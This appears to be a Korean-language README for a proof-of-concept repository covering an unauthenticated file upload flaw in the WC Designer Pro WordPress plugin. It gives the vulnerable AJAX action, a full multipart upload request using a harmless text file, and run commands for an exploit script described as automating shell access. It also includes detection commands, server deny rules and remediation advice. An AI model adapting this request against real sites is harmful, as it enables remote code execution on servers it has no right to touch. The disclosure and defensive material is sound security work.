
WC Designer Pro WordPress 플러그인에 대한 인증되지 않은 원격 코드 실행 익스플로잇. 취약한 AJAX 엔드포인트를 통해 탐지, 파일 업로드 및 셸 액세스를 자동화합니다.
WC Designer Pro WordPress 플러그인에 영향을 미치는 인증되지 않은 임의 파일 업로드 취약점에 대한 비파괴적 개념 증명입니다.
WC Designer Pro에는 WordPress의 admin-ajax.php 엔드포인트를 통해 노출되는 AJAX 액션에 인증되지 않은 임의 파일 업로드 취약점이 존재합니다.
영향을 받는 핸들러는 적절한 인증, 권한 부여, 확장자 검증, MIME 유형 검증 또는 서버 측 파일 이름 제한을 적용하지 않고 사용자 제어 파일 메타데이터와 파일 내용을 처리합니다.
취약한 구성에서 인증되지 않은 공격자는 웹에서 접근 가능한 디렉터리에 서버에서 실행 가능한 파일을 업로드할 수 있습니다. 성공적인 악용은 웹 서버 프로세스 권한 하에서 원격 코드 실행으로 이어질 수 있습니다.
정확한 영향 버전 범위, CVE 식별자 및 CVSS 점수는 독립적으로 검증된 후에만 게시되어야 합니다.
성공적인 악용 시 인증되지 않은 공격자가 다음을 수행할 수 있습니다:
최종 영향은 웹 서버 구성, PHP 실행 규칙, 파일 시스템 권한 및 호스팅 제공업체가 배포한 보안 제어에 따라 달라집니다.
영향을 받는 버전 범위는 현재 검증 중입니다.
제품: WC Designer Pro
영향을 받는 버전: 확인 예정
수정 버전: 확인 예정
패치 상태: 확인 예정
테스트 또는 공급업체 확인이 해당 결론을 뒷받침하지 않는 한 모든 버전이 영향을 받는다고 명시하지 마십시오.
취약한 업로드 흐름은 다음 AJAX 액션에 제공된 공격자 제어 값을 신뢰하는 것으로 보입니다:
wcdp_save_canvas_design_ajax
요청에는 다음과 같은 파일 메타데이터가 포함됩니다:
서버가 다음 모든 제어를 수행하지 않고 이러한 값을 수락할 때 취약점이 존재합니다:
인증되지 않은 요청
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
업로드된 파일의 불충분한 검증
│
▼
웹에서 접근 가능한 디렉터리에 파일 기록
│
▼
잠재적 서버 측 코드 실행
관찰된 업로드 경로는 다음 구조를 따릅니다:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
정확한 경로는 플러그인 버전, WordPress 구성 및 서버 환경에 따라 달라질 수 있습니다.
pip이 개념 증명은 명시적인 서면 승인 없이 제3자 시스템에 사용되어서는 안 됩니다.
저장소를 클론합니다:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
가상 환경을 생성하고 활성화합니다:
python3 -m venv .venv
source .venv/bin/activate
Windows의 경우:
python -m venv .venv
.venv\Scripts\Activate.ps1
의존성을 설치합니다:
pip install -r requirements.txt
requirements.txt 예시:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
개념 증명은 단일 승인된 실험실 대상에 대해서만 실행되어야 합니다.
python3 exploit.py --url https://wordpress-lab.example
비파괴적 검증의 경우:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
검증 파일 예시:
WC Designer Pro 보안 검증
연구자: m2hcz
목적: 승인된 비파괴적 테스트
지원되는 인수를 확인하려면 내장 도움말 명령을 사용하십시오:
python3 exploit.py --help
출력 예시:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro 임의 파일 업로드 검증 PoC
options:
-h, --help 도움말 메시지를 표시하고 종료
--url URL 승인된 WordPress 대상
--file FILE 무해한 검증 파일
--timeout SECONDS HTTP 요청 시간 초과
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
요청은 다음을 호출합니다:
action=wcdp_save_canvas_design_ajax
간소화된 요청 구조는 아래와 같습니다:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
승인된 보안 검증
------Boundary--
이 예시는 의도적으로 실행 불가능한 텍스트 파일을 사용합니다.
성공적인 요청은 다음과 유사한 응답을 반환할 수 있습니다:
{
"userID": false,
"filesCMYK": [],
"success": true
}
성공적인 응답만으로는 원격 코드 실행을 증명하지 않습니다. 연구자는 다음을 별도로 확인해야 합니다:
권장 검증 절차는 다음과 같습니다:
.txt 마커 파일을 생성합니다.무해한 마커 파일로 취약점을 입증할 수 있는 경우 웹 셸 또는 명령 실행 페이로드를 업로드하지 마십시오.
유효한 보고서에는 다음이 포함되어야 합니다:
관리자는 다음 디렉터리를 검사해야 합니다:
/wp-content/uploads/wcdp-uploads/temp/
잠재적 지표는 다음과 같습니다:
.php, .phtml, .phar 또는 유사한 실행 파일.admin-ajax.php에 대한 요청.로그 검색 예시:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
파일 시스템 검색 예시:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
사이트 관리자는 다음을 수행해야 합니다:
Nginx의 경우 업로드 내 PHP 실행을 거부합니다:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Apache의 경우 업로드 디렉터리 내에 적절한 규칙을 배치합니다:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
이러한 제어는 심층 방어 조치이며 취약한 플러그인 코드 수정을 대체하지 않습니다.
플러그인 유지 관리자는 다음을 수행해야 합니다:
current_user_can()으로 사용자 권한을 확인합니다.wp_check_filetype_and_ext()를 사용하여 파일을 검증합니다.이 저장소는 다음 용도로만 사용됩니다:
명시적 승인 없이 이 코드를 사용하여 시스템에 접근, 수정, 방해 또는 손상시키지 마십시오.
저자는 이 자료의 승인되지 않은, 불법 또는 악의적인 사용에 대해 책임을 지지 않습니다. 사용자는 적용 가능한 법률, 계약, 참여 규칙 및 조정된 취약점 공개 요구 사항을 준수할 전적인 책임이 있습니다.
발견 날짜: 추가 예정
공급업체 연락: 추가 예정
공급업체 응답: 추가 예정
패치 출시: 추가 예정
CVE 요청: 추가 예정
CVE 할당: 추가 예정
공개 공개: 추가 예정
할당된 식별자인 것처럼 자리 표시자 CVE를 게시하지 마십시오.
CVE가 할당되면 자리 표시자를 공식 기록으로 교체합니다:
CVE: CVE-YYYY-NNNNN
CVSS: 공식 또는 문서화된 연구자 평가
보안 연구는 위험을 줄여야 하지, 만들지 않아야 합니다.
m2hcz가 승인된 보안 테스트를 위해 제작.
| 속성 | 값 |
|---|
| 제품 | WC Designer Pro |
| 플랫폼 | WordPress |
| 취약점 클래스 | 제한 없는 임의 파일 업로드 |
| CWE | CWE-434 |
| 인증 필요 여부 | 아니요 |
| 사용자 상호작용 필요 | 아니요 |
| 잠재적 영향 | 원격 코드 실행 |
| 공격 복잡성 | 낮음 |
| 취약한 구성 요소 | WordPress AJAX 업로드 핸들러 |
| AJAX 액션 | wcdp_save_canvas_design_ajax |